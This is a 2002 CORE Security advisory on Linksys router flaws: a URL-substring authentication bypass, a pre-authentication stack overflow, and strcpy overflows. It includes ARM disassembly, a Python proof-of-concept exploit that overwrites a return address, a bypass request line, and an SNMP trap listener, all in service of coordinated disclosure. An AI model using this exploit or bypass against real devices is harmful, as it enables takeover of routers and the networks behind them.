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CORE-20021005: Vulnerability Report For Linksys Devices
From: CORE Advisories <advisories () corest com>
Date: Tue, 10 Dec 2002 20:10:21 -0300

                   CORE Security Technologies

            Vulnerability Report For Linksys Devices

Date Published: 2002-12-02

Last Update: 2002-12-02

Advisory ID: CORE-20021005

Bugtraq ID: 6301, 6303, 6304, 6208, 6201, 6090

CVE: None currently assigned.

Title: Remotely exploitable Buffer overflows and
       Authentication bypassing bugs on Linksys BEFW11S4
       Wireless router and other devices.

Class: Implementation flaws

Remotely Exploitable: Yes

Locally Exploitable: Yes

Advisory URL: http://www.corest.com/common/showdoc.php?idx=263&idxseccion=10

Vendors contacted:

- Linksys
  . CORE notification: 2002-11-12
  . Notification acknowledged by Linksys: 2002-11-13
  . Linksys fix provided in response to another
    advisory: 2002-11-15 (v1.43.3)
  . CORE tested fix, found new and still existing bugs: 2002-11-15
  . Linksys fix provided: 2002-11-22 (v1.44)
  . CORE tested fix: 2002-11-22
  . Linksys final testing and statements: 2002-12-02


*Vulnerability Description:*

Many Linksys' network appliances have a remote administration and
configuration interface via HTTP, either from the local network,
or, if it's enabled, from any host across the internet.
The implementation of the embedded HTTP server presents several
different exploitable vulnerabilities, some of them allow an
unauthorized user to gain control of the appliance, some let an
attacker reboot it, and some are of an unknown severity.

One of the bugs was independently discovered by Seth Bromberger
and other people as well, and was partially fixed by Linksys
on firmwares version 1.43.3 (see [2]). Some of the other bugs
were discussed on different mailing lists, and were incorrectly
tagged as different Denial of Service bugs, while either they
are different incarnations of the same bugs or are exploitable
buffer overflows leading to code execution, as we will try to
explain in this advisory. Yet some other bugs, form a big family
from which only one was mentioned in an iDefense advisory [3].

The first bug is due to the fact that no authentication is
required to access any .xml page from the appliance.
This is needed to support UPnP, but is not disabled when UPnP
support is disabled. An error in how the URL is parsed
allows any user to access any page in the remote administration
interface without supplying a password. After this, she could
modify filtering rules, change the administration password,
enable remote administration from any host on the internet,
upload a new firmware, and perform any other configuration
action an authenticated user is able to do. This bug was
partially fixed on firmware version 1.43.3, but in this version
there is still a way to bypass authentication using the checks
for UPnP's .xml pages. At the same time, three other similar
bugs were introduced in this firmware (only for BEFW11S4),
which allow authentication bypassing in a similar way.

The second kind of bugs are due to a stack based buffer
overflow, and let an attacker execute arbitrary code in the
appliance, gaining total control over it. After this, she could
change any of the configuration options previously mentioned,
or even turn it into an agent which could be used as stepping
stone to pivot, either to the internal network, or to the
internet, as part of a more complex attack. As this bug is
present in the code previous to authentication, no password
is needed to exploit this vulnerability.

Additionally, there are several "heap" based buffer overflows,
all of them, as far as we could verify, are post authentication.
We haven't determined if the exploitation of these bugs may
lead to arbitrary code execution or any other way of
"privilege escalation", but we do not discard this possibility.

*Vulnerable Systems:*

The problems were identified and tested on:

 - Linksys BEFW11S4 v2. Firmware v1.42.7
 - Linksys BEFW11S4 v2. Firmware v1.43
 - Linksys BEFW11S4 v2. Firmware v1.43.3 (partially fixes some bugs)

Known to be vulnerable to all the pre v.1.43.3 bugs:

 - Linksys BEFW11S4 v2. Firmware v1.42.7
 - Linksys BEFW11S4 v2. Firmware v1.43
 - Linksys BEFSR41 / BEFSR11 / BEFSRU31. Firmware v1.42.7
 - Linksys BEFSR41 / BEFSR11 / BEFSRU31. Firmware v1.43
 - Linksys BEFSR81. Firmware v2.42.7.1
 - Linksys BEFN2PS4. Firmware v1.42.7
 - Linksys BEFSX41. Firmware v1.43
 - Linksys BEFSX41. Firmware v1.43.3
 - Linksys BEFSX41. Firmware v1.43.4

Known to be vulnerable to some of the bugs here described:
 - Linksys BEFVP41. Firmware v1.40.2
 - Linksys BEFVP41. Firmware v1.40.3

Known to have some bugs fixed and some new introduced:
 - Linksys BEFW11S4 v2. Firmware v1.43.3
 - Linksys BEFSR41 / BEFSR11 / BEFSRU31. Firmware v1.43.3

Firmwares previous to those mentioned here may be vulnerable
to some of the vulnerabilities here described, but were not

*Solution/Vendor Information*

"Linksys has already posted firmware updates for the
following affected products at http://www.linksys.com/download/ :

 - Linksys BEFSR41 / BEFSR11 / BEFSRU31. Firmware v. 1.44
 - Linksys BEFSR81. Firmware v. 2.44
 - Linksys BEFVP41. Firmware v. 1.40.4
 - Linksys BEFSX41. Firmware v. 1.44
 - Linksys BEFW11S4 ver2. Firmware v. 1.44

We are currently working on updates for the following products,
and hope to have them posted this week:

 - Linksys BEFW11S4 ver1
 - Linksys HPRO200
 - Linksys BEFN2PS4

Linksys recommends that users update their firmware for their
device, if available.  For users of products that do not yet
have fixes available, it is recommended to disable remote
administration to minimize the risk of an attack until the
updated firmware versions are posted."


  - Disable "Remote Management" if it's enabled. This will
    restrict the exploitability of the bugs to the local
    network, or require a little smarter attack, for example,
    an email with an embedded Img tag may, upon reading,
    enable "Remote Management", giving the attacker full control
    of the appliance across the internet. For example:

<Img Src=>

  - On firmwares newer than 1.43.3 the Remote Management
    port can be changed. This will not make the attack impossible
    at all, but will somehow make it a little tougher for an
    attacker, probably giving you some more time to detect her.


These vulnerabilities were discovered and researched by

We would like to thank Jay Price from Linksys for the quick
response to these issues.

*Technical Description - Exploit/Concept Code*

Every test described in this section was done using a Linksys
BEFW11S4 v2 with firmware version 1.42.7, bought on the first
days of October in 2002, no firmware upgrade was applied to it
until a new firmware version was out, after this we installed
1.43.3 on it to confirm our findings. We also verified other
versions of the firmware (namely 1.43) and firmwares for other
products from Linksys, and all of them presented the same
vulnerabilities. Although we haven't been able to verify the
existence of these bugs in a real environment, detailed review
of the firmware indicates all the bugs here described are

Authentication Bypassing vulnerabilities:
~~~~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~~~~~~~~~~

This vulnerability was independently discovered and reported to
Linksys by at least two other persons. Seth Bromberger posted
a report to bugtraq about this vulnerability (see [2]).
It was partially fixed in firmware v1.43.3, but it's still
possible to exploit it, keep on reading.

As part of the UPnP implementation [1], the Linksys family of
products multicast their features as part of UPnP's Discovery
step. For this UDP packets are sent from port 1901 to multicast
address port 1900. The following are two examples
of such packets' data.

    NOTIFY * HTTP/1.1
    Server:NT/5.0 UPnP/1.0

    NOTIFY * HTTP/1.1
    Server:NT/5.0 UPnP/1.0


In response to these packets, an UPnP control point will retrieve
a description from the URL supplied in the NOTIFY packet,
using the HTTP protocol. In our case this URL is, and no authentication
is needed to access it (you can test this using the browser of your
choice). In order to answer requests to port 5678 and to serve
remote administration pages on port 80, Linksys' products use the
same embedded HTTP server "application".

The HTTP server will check the requested URL for the substring
".xml", if this substring is present, all the authentication
verification code will be just skipped, let’s see the following
ARM assembly fragment, extracted from a firmware image:

01797E               LDR     R0, =HTTPRequest
017980               STR     R7, [R0,#HttpRequest.buffer]
017982               LDR     R0, =HTTPRequest
017984               LDRH    R0, [R0,#HttpRequest.method_length]
017986               ADD     R0, R0, R7
017988               ADD     R0, #1
01798A               LDR     R1, =HTTPRequest
01798C               STR     R0, [R1,#HttpRequest.path]
01798E               ADD     R0, R7, #0
017990               ADR     R1, a_xml_0     ; ".xml"
017992               BL      strstr          ; (string, subst)
017996               CMP     R0, #0
017998               BEQ     loc_179A2       ; read more from net and do auth
01799A               MOV     R0, #0
01799C               LDR     R1, =HTTPRequest
01799E               STRH    R0, [R1,#HttpRequest.has_args+2]
0179A0               B       loc_17ACE       ; skip auth

As this code is shared for serving UPnP requests (on port 5678)
and any other HTTP requests, the authentication can be bypassed
just adding the string ".xml" anywhere in the requested URL:
The function strstr() at 0x17992 will answer there is a substring
matching ".xml" and the conditional jump at 0x17ACE will skip
the authentication verification code (and some other code as

These checks were reinforced with additional comparisons.
The idea was to authorize requests without authentication only
for /rootDesc.xml, /Layer3Forwarding.xml, /WANCfg.xml and
WANIPCn.xml. But the request is parsed in, at least,
two different places in the code, and these two parsings are not
coherent, so there is a still a way to bypass the authentication.
We will not go through the code this time, but if you replace
the correct line in linksys_exploit.py (below) you would be
able to access the Remote Management interface without having
the correct password:

        self.toSend = "BBB /Log.htm GET /rootDesc.xml"

There are other ways to exploit this bug, for example, we've
been able to craft an HTML page which, when loaded, changes
the Remote Management password, and enables Remote Management
through the internet. Of course, this page could be attached
to an email, and be used to perform these changes "from the
internet, even when the Remote Management feature is disabled".

Additionally, in firmware v1.43.3 three other authentication
bypassing vulnerabilities were introduced. These new
vulnerabilities work in pretty much the same way as the original
".xml" vulnerability, but the new magic strings are different:
"TxRxTest", "CalibrationTest" and "WriteCalibration".
Linksys reported that these vulnerabilities are only present in
the wireless products of the family. It's worth to mention that
we haven't verified the security implications (if there are any)
of allowing unauthorized access to these three requests.

Stack Based Buffer Overflows:
~~~~~ ~~~~~ ~~~~~~ ~~~~~~~~~

Following the previously described code, if the request line
does not contain the substring ".xml", if it's a GET request and,
after what we believe is a small delay, a second part of the request
is read from the net. On entry to this function, space is allocated
in the stack for local variables and buffers.
Only 0x1FC+0x1F0 = 1004 bytes are reserved.

01791C               PUSH    {R0-R2,R4-R7,LR}
01791E               ADD     R7, R0, #0
017920               SUB     SP, SP, #0x1FC
017922               SUB     SP, SP, #0x1F0
017924               LDR     R0, =unk_A016C

Then, 1596 bytes are read from the net into a local buffer in the
stack. Not every request will have enough bytes to overflow
the buffer, and that's why the code doesn't usually crash. But if
a long request is sent, the buffer is overflown and the stack can
be modified "a piaccere". Note that the "first fragment" is read
before entering these functions, into another buffer allocated in
the stack.

0179E4               ADD     SP, SP, #4
0179E6               LDR     R0, [R6,#HttpRequest.response_length]
0179E8               CMP     R0, #0
0179EA               BEQ     loc_187D8
0179EC               MOV     R1, SP
0179EE               LDR     R0, [SP,#connection_id]
0179F0               LDR     R2, =1596
0179F2               BL      read_from_net ; (sock, buffer, buffer_size)
0179F6               ADD     R4, R0, #0
0179F8               ADD     R2, R4, #0
0179FA               ADR     R1, aSFP      ; "Second fragmented packe.."
0179FC               MOV     R0, #2
0179FE               BL      log           ; (loglevel,char *format,...)
017A02               MOV     R1, #0
017A04               MOV     R0, SP
017A06               STRB    R1, [R0,R4]
017A08               MOV     R1, SP
017A0A               ADD     R0, R7, #0
017A0C               BL      strcat

There is a another problem on this code fragment. After reading
the second fragment of the request, strcat() is used to append it
to the first fragment, but the first fragment is also stored in
a local buffer of 1596 bytes. While this is in fact a buffer
overflow, its exploitability is not yet determined, as we are
dealing with a bigendian setup, and all valid memory addresses
contain a zero in their most significant byte... But we've seen
tougher bugs exploited, so...

This second vulnerability regarding strcat() was partially fixed
on firmware v 1.43.3. Partially for two different reasons:

    On one side, there are two callers of this function, from
    what we could determine one caller is responsible for requests
    done to the Remote Management port, and the other caller answers
    requests to port 5678. Only one of these functions was fixed
    (extending the buffer size from 1596 to 3192), but the other
    function (the one answer requests on port 5678) is still
    allocating only 1596 bytes. You can test this vulnerability
    changing the correct line in, again, linksys_exploit.py to:


    For this to work, UPnP must be enabled (at least on v1.43.3)

    On the other side this is only a partial fix because, although
    the buffer was enlarged from 1596 to 3192, the read() for the
    first fragment was also increased from 1596 to 3192 bytes,
    and the strcat() would still overflow the buffer if there are
    more than 1596 bytes to read for the first fragment. This does
    not immediately lead to a vulnerability, as Linksys' internal
    TCP implementation will not return more than MTU bytes on a
    single read, but if this fact is changed in the future, this
    vulnerability will mysteriously re-appear.

The following python program will exploit the first of the two
buffer overflows, and redirect the execution flow to jump to
the address 0x175fa (only valid for BEFW11S4 for firmware v1.42.7.
For v1.43 or other appliances you'll have to change it). For this
proof of concept exploit we are not introducing our own code
(or "shellcode"), we are rather using code already present in the
firmware, with the only purpose of showing the exploitability of
the bug.

------- linksys_exploit.py --------
import socket
import struct
import select

class Exploit:
    def __init__(self):

    def setup(self):
        self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        self.returnAddress = 0x1834c    # 1.43   log(2,"unknown file name!")
        self.returnAddress = 0x175fa    # 1.42.7 log(2,"unknown file name!")

        self.paddingSize = 1500-20-20+1004+7*4
        # 1500 is MTU
        # 20 IP header
        # 20 TCP header
        # 1004 for allocated space
        # 7 saved registers
        self.toSend = "GET "
        self.toSend += "A"*(self.paddingSize-len(self.toSend))
        self.toSend += struct.pack(">L", self.returnAddress)

    def attack(self):
        (r,w,x) = select.select([self.s],[],[],2)
        if self.s in r:
            print self.s.recv(100000)

    def run(self):

def main():
    ex = Exploit()


To understand what the code at the chosen address does, we need
some more insight in what are firmware's capabilities.

In the previous assembly fragment, at 0x179FE you can see a
function we named log() being called. This function will send an
SNMP trap to the configured SNMP server. The first argument (2 in
this example) is a bitmask indicating the facility the message
applies to. You can configure your SNMP server from the Log tab
in the HTTP administration page. From this page you can also enable
or disable the "Access" facility. If you check the source for that
page, you'll see it's setting bit 0 of the rLog variable. The other
meaningful bits are, apparently 1,2 and 3, "System", "PPPoE & RAS"
and "NAT" facilities, respectively. We first thought we would have
to manually deal with bits!, but we later found there is a page
you can use to change these values, if your Linksys appliance is
at you can try your preferred browser on This page is not reachable from
any other page in the Remote Management system.

Back to where we left. The described code fragment is calling
log(2, "Second fragmented packet comes in, len=%d", len).
In order to see the SNMP trap generated we'll have to enable
facility "System" and setup our SNMP traps server. After doing
this, you should start seeing SNMP traffic coming from the
appliance. If you don't want to use a sniffer, you can either
download some SNMP monitoring application, use one you already
have, use netcat or use the python program included, which just
dumps incoming packets to UDP port 162... which is a little more
than enough.

Back to the last remaining bit of the exploit, the code we are
jumping to is:

0175FA               MOV     R0, #1
0175FC               LDR     R1, =unk_A0180
0175FE               STR     R0, [R1,#0x20]
017600               ADR     R1, aUnknownFileNam ; "Unknown File Name !"
017602               MOV     R0, #2
017604               BL      log

This code just sends an SNMP trap with the string
"Unknown File Name !" through the network. So, if the exploit works
and you are able to see SNMP traps, you'll see this string on the
net. After this the appliance will reboot itself, and start working
again, without loosing any configuration. If you are doing all this
on a wireless connection as we did, you may need to rescan/reconnect
to the AP in order for it to work again (probably only true if WEP
is enabled)

------- snmp-traps.py --------
import socket

class SNMPTrapsServer:
    def __init__(self):

    def start(self):
        self.s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        while 1:
            snmp = self.s.recv(1500)
            print snmp[73:]

    def stop(self):

server = SNMPTrapsServer()

"Heap" Based Buffer Overflows:
~~~~~~ ~~~~~ ~~~~~~ ~~~~~~~~~

Configuration is maintained in global variables on fixed locations,
there is no dynamic heap allocation routines in the firmware,
as far as we could determine. From what we saw, every string
variable is copied from the HTTP request to the global storage using
strcpy(), what directly turns every string variable in a possibility
of causing a buffer overflow.

Ignoring the authentication bypassing bugs (which will hopefully be
fixed now), to be able to overflow any of these buffers, an attacker
must be authenticated, and even then, we are not sure how much
damage can be done. From our tests, it is possible to force a reboot
using some of these buffer overflows. And although we haven't been
able to execute arbitrary code abusing any of this bugs, we do not
discard the possibility. There are some linked lists handling
(related to active connections), and some function pointers
(related to IRQ handling) probably too far ahead in the memory to
be reachable with one of these buffer overflows.

Some of the variables which are copied using strcpy() are:

"V_nameA" through "V_nameJ", "Vn?" where "?" is one of 30 different
characters, "ApName0" through "ApName9", "hostName", "DomainName",
"sysPasswd", "wirelessESSID", "Passphrase", "pppoeUName",
"pppoePWD", "pppoeSName", "community1", "community2", "community3",
"community4", probably others.


[1] Universal Plug and Play Device Architecture, version 1.0

[2] Linksys router vulnerability

[3] iDefense security advisory


The contents of this advisory are copyright
(c) 2002 CORE SECURITY TECHNOLOGIES and may be distributed freely
provided that no fee is charged for this distribution and proper
credit is given.

Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

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